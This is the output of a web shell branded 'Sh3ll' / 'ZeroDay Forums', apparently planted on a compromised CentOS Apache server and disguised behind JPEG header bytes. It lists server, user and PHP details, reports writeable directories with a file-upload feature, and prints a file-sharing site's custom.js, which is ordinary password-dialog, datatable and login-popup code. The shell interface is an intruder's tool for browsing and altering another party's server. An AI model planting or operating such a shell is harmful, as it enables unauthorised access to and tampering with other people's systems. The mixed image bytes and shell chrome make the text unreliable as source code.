ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/sharefilefree/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/sharefilefree/js/custom.js
$(document).ready(function() {
    var jsVars;
    var relDir = 'https://freesharefile.com/';
    $.ajax({
        url: relDir+"js.vars.php",
        type: 'post',
        data:{"return":"json"},
        dataType: 'json',
        async: false,
        success: function(data) {
            jsVars = data;
        }
    });
    function getGetVars(url,varName){
        var urlA = url.split("?");
        var vars = urlA[1].split("&");
        for (var i=0;i<vars.length;i++) {
            var pair = vars[i].split("=");
            //remove anchor
            if(pair[0] == varName) {
                return pair[1].replace(/#.*$/,'');
            }
        }
    }
    $('.pwd_protected_delete').click(function (){
        if ($(this).hasClass("disabled")) return false;
        var deleteLink = $(this).attr("href");
        bootbox.dialog({
            title: jsVars.lang_password_modal_hl,
            message: "<div class='form-inline'>"+
                "<div class='text-center pwdChecker'><div class='alert alert-danger js-hide'></div><input type='password' name='password' placeholder='" + jsVars.lang_password_modal_placeholder + "' required class='form-control input-lg'/></div></div>",
            buttons: {
                "cancel" : { label: jsVars.lang_cancel, className : "btn-default", callback: function() { bootbox.hideAll(); } },
                "verify" : { label: jsVars.lang_verify_pwd, className : "btn-primary submitData", callback: function() {
                        $(".pwdChecker .alert").hide();

                        var proceed = false;
                        var pwd = $(".modal-body input[name='password']").val();
                        if (!pwd) {
                            $('.pwdChecker .alert').text(jsVars.lang_error_enter_password).fadeIn();
                        } else {
                            $.ajax({
                                type: "POST",
                                url: relDir + "functions.ajax.php",
                                dataType: 'json',
                                async: false,
                                data: {"action":"verifyPwd_delete","deleteLink":deleteLink,"pwd":pwd},
                                success: function(msgObj) {
                                    if (msgObj.error) {
                                        $('.pwdChecker .alert').text(msgObj.error).fadeIn();
                                    } else {
                                        if (msgObj.verified) {
                                            window.location.href=deleteLink;
                                            proceed = true;
                                        } else {
                                            $('.pwdChecker .alert').text("something went wrong?!?").fadeIn();
                                        }
                                    }
                                }
                            });
                        }
                        return proceed;
                    }
                }
            }
        });
        return false;
    });
    if ($("table#filesDataTable_user").length) {
        /** paginginfo plugin **/
        $.fn.dataTableExt.oApi.fnPagingInfo = function ( oSettings ) {
            return {
                "iStart":         oSettings._iDisplayStart,
                "iEnd":           oSettings.fnDisplayEnd(),
                "iLength":        oSettings._iDisplayLength,
                "iTotal":         oSettings.fnRecordsTotal(),
                "iFilteredTotal": oSettings.fnRecordsDisplay(),
                "iPage":          oSettings._iDisplayLength === -1 ? 0 : Math.ceil( oSettings._iDisplayStart / oSettings._iDisplayLength ),
                "iTotalPages":    oSettings._iDisplayLength === -1 ? 0 : Math.ceil( oSettings.fnRecordsDisplay() / oSettings._iDisplayLength )
            };
        };
        /****** the datatable ******/
        var toolsCellWidth = "135px";
        if ($("body#BS-cosmo,body#BS-journal,body#BS-readable,body#BS-superhero").length) toolsCellWidth = "145px";
        else if ($("body#BS-yeti").length) toolsCellWidth = "155px";

        var oTable = $('#filesDataTable_user').dataTable( {
            "bProcessing": true,
            "bServerSide": true,
            "sAjaxSource": "user.files.data.php",
            "aaSorting": [[ 0, "desc" ]],
            "sDom": "<'row mb20'<'col-sm-6'l><'col-sm-6'f>r>t<'row'<'col-sm-6'i><'col-sm-6'p>>",
            "sPaginationType": "bootstrap",
            "oLanguage": {
                "sProcessing": "<i class='fa fa-clock-o'></i> Loading Files Data"
            },
            "aoColumns": [
                { "sWidth": "50px"},
                {  },
                { "sWidth": "120px"},
                { "sWidth": "180px" },
                { "sWidth": "100px"},
                { "sWidth": toolsCellWidth, "sClass": "tac"},
            ],
            "aoColumnDefs": [
                { "bSearchable": false, "aTargets": [0,2] },
                { "bSortable": false, "aTargets": [0,5] } ],
            "fnDrawCallback": function() {

                //initially show file removal infos
                if ($(".js-btn-showhide-cleanup-info").data("show") == 1) {
                    $("table#filesDataTable_user div.cleanup-info").show();
                }

                /** tooltips [+] **/
                $('#filesDataTable_user tr>td:first-child + td').each( function() {
                    $(this).attr("title",$(this).find("span").html());
                });
                $('#filesDataTable_user tr>td:first-child + td').tooltip({container:"body",html:true});
                /** tooltips [-] **/

                $('.dataTables_filter input').attr("placeholder","minlength:3");
                /****** admin function:delete file ******/
                $(".delFile").click( function() {
                    var url = $(this).attr("href");
                    if ($("#TempbypassConfirming").is(":checked")) {
                        window.location.href=url;
                        return false;
                    }
                    bootbox.confirm("<h4>Are you sure to delete this file?</h4><p>This Action cannot be undone!<br /><div class='checkbox'><label class='checkbox'><input type='checkbox' name='bypassConfirming' id='bypassConfirming' value='1' />Don't ask again for this action for the next times.</label></div></p>",
                        function(stat) {
                            if (stat) {
                                if ($("#bypassConfirming").is(":checked")) {
                                    $("#TempbypassConfirming").prop("checked",true);
                                }
                                window.location.href=url;
                            } else {
                                //$(thisTR).removeClass("warning");
                            }
                        });
                    return false;
                });

                //get QR Code for download page
                $(".js-adm-get-qrcode").click( function() {
                    var URL = $(this).data("url");
                    bootbox.alert({title: jsVars.lang_hl_qr_code,message: '<p class="text-center"><img src="https://chart.googleapis.com/chart?chs=150&amp;cht=qr&amp;chl=' + encodeURI(URL) + '&amp;choe=UTF-8&amp;chld=|0" alt="' + URL + '" />'});
                    return false;
                });


            }
        });

        //show/hide file removal infos
        $(".js-btn-showhide-cleanup-info").click(function() {
            if ($(this).data("show") == 1) {
                $("table#filesDataTable_user div.cleanup-info").slideUp();
                $(this).data("show",0);
            } else {
                $("table#filesDataTable_user div.cleanup-info").slideDown();
                $(this).data("show",1)
            }
        });
        /****** searchform Class ******/
        // $.extend( $.fn.dataTableExt.oStdClasses, {
        //   "sWrapper": "dataTables_wrapper form-inline"
        // });
        $('div.dataTables_filter input,div.dataTables_wrapper select').addClass('form-control input-sm');
    }

});
function unsetpasswordfile(file_id){
    var relDir = 'https://freesharefile.com/';
    $.ajax({
        type: "POST",
        url: relDir + "functions.ajax.php",
        dataType: 'json',
        async: false,
        data: {"action":"unsetpassword","file_id":file_id},
        success: function(msgObj) {
            location.reload();
            proceed = true;
        }
    });
}
function setpasswordfile(file_id){
    var jsVars;
    var relDir = 'https://freesharefile.com/';
    $.ajax({
        url: relDir+"js.vars.php",
        type: 'post',
        data:{"return":"json"},
        dataType: 'json',
        async: false,
        success: function(data) {
            jsVars = data;
        }
    });
    bootbox.dialog({
        title: 'Set password protect file',
        message: "<div class='form-inline'>"+
            "<div class='text-center pwdChecker'><div class='alert alert-danger js-hide'></div><input type='password' name='password' placeholder='" + jsVars.lang_password_modal_placeholder + "' required class='form-control input-lg' maxlength='8'/></div></div>",
        buttons: {
            "cancel" : { label: jsVars.lang_cancel, className : "btn-default", callback: function() { bootbox.hideAll(); } },
            "verify" : { label: 'Set password', className : "btn-primary submitData", callback: function() {
                    $(".pwdChecker .alert").hide();

                    var proceed = false;
                    var pwd = $(".modal-body input[name='password']").val();
                    if (!pwd) {
                        $('.pwdChecker .alert').text(jsVars.lang_error_enter_password).fadeIn();
                    } else {
                        $.ajax({
                            type: "POST",
                            url: relDir + "functions.ajax.php",
                            dataType: 'json',
                            async: false,
                            data: {"action":"setpassword","file_id":file_id,"pwd":pwd},
                            success: function(msgObj) {
                                location.reload();
                                proceed = true;
                            }
                        });
                    }
                    return proceed;
                }
            }
        }
    });
    return false;
}
function googleLogin()
{
    var popupWidth=500;
    var popupHeight=600;
    var xPosition=($(window).width()-popupWidth)/2;
    var yPosition=($(window).height()-popupHeight)/2;
    var loginUrl="https://freesharefile.com/openid/googlelogin.php";
    window.open(loginUrl, "LoginWindow",
        "location=1,scrollbars=1,"+
        "width="+popupWidth+",height="+popupHeight+","+
        "left="+xPosition+",top="+yPosition);
}
function facebookLogin()
{
    var popupWidth=500;
    var popupHeight=600;
    var xPosition=($(window).width()-popupWidth)/2;
    var yPosition=($(window).height()-popupHeight)/2;
    var loginUrl="https://freesharefile.com/openid/fblogin.php";
    window.open(loginUrl, "LoginWindow",
        "location=1,scrollbars=1,"+
        "width="+popupWidth+",height="+popupHeight+","+
        "left="+xPosition+",top="+yPosition);
}
function discordLogin()
{
    var popupWidth=500;
    var popupHeight=600;
    var xPosition=($(window).width()-popupWidth)/2;
    var yPosition=($(window).height()-popupHeight)/2;
    var loginUrl="https://freesharefile.com/openid/discordlogin.php";
    window.open(loginUrl, "LoginWindow",
        "location=1,scrollbars=1,"+
        "width="+popupWidth+",height="+popupHeight+","+
        "left="+xPosition+",top="+yPosition);
}

ZeroDay Forums Mini